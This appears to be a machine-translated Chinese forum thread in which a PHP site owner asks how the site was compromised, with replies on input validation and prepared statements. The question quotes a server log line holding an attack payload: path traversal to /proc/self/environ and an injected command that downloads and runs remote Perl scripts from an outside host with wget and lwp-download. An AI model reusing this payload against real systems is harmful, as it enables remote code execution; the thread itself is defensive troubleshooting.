我的网站因网络钓鱼而受到攻击。这是一个复杂的网站,但我只使用帖子和PHP文件。
他们怎么能攻击我?我只使用$ _POST,所以我相信没有SQL命令和参数可见。 我的小编码列表和访问网站没有框架。
任何提示/建议都将不胜感激。
很抱歉,如果我不直接回复,但我正在与阻止整个网站的提供商打交道。
这是他们的答案(欢迎任何评论):
由于脚本注入攻击站点代码本身,因此可以完全避免Web服务器安全性。不幸的是,一些内容管理系统(尤其是旧版本的Joomla)极易受到这种形式的攻击。</ p>
删除攻击者使用此方法的能力的一种简单方法是在网站的顶层添加一个php.ini文件,其中包含以下内容 - 请注意,该网站之后需要进行测试确保更改不会影响合法的网站脚本操作:
php.ini指令是......
allow_url_include =“0”
更新
这是我从webhost公司得到的:
121.254.216.170 - - [12 / Sep / 2011:05:21:07 +0100]“GET /?p=../../../../../../../ ../../../../../../../../proc/self/environ%00 HTTP / 1.1“200 5806” - “”http://some.thesome.com /etc/byz.jpg?-O / tmp / cmd548; cd / tmp; lwp-download http://some.thesome.com/etc/cup.txt;perl cup.txt; rm -rf * .txt *; wget http://some.thesome.com/etc/update.txt;perl update.txt; rm -rf * .txt *'); echo \“#j13mb0t \”; ?&gt;“中
答案 0 :(得分:2)
也可以使用cURL手动发出POST请求。没有人阻止人们打开telnet终端并手动发出命令,并向你的网站发送任何参数。
相反,您应该始终保护您的网站,并验证输入。无论他们来自POST,GET还是其他任何地方。此外,更喜欢使用PDO而不是PHP中的标准mysql函数。
您能否详细说明您的网站上发生了什么attack
?
答案 1 :(得分:1)
服务器有很多方法可以被黑客入侵。如果不了解您的项目或服务器,很难告诉您在您的情况下是如何发生的。
但有些提示:
确保始终转义写入数据库的数据。例如,您可以使用mysql_real_escape_string()。除了对您的脚本的攻击之外,您的服务器也可能受到攻击,例如通过FTP或SSH。
除此之外,请务必更新您使用的所有常用框架/库。
答案 2 :(得分:0)
$ _ POST不是阻止sql攻击的有效方法。您必须使用带有$ _GET或$ _POST接收的所有值的参数的预准备语句,或者对所有这些参数使用mysql_real_escape_string。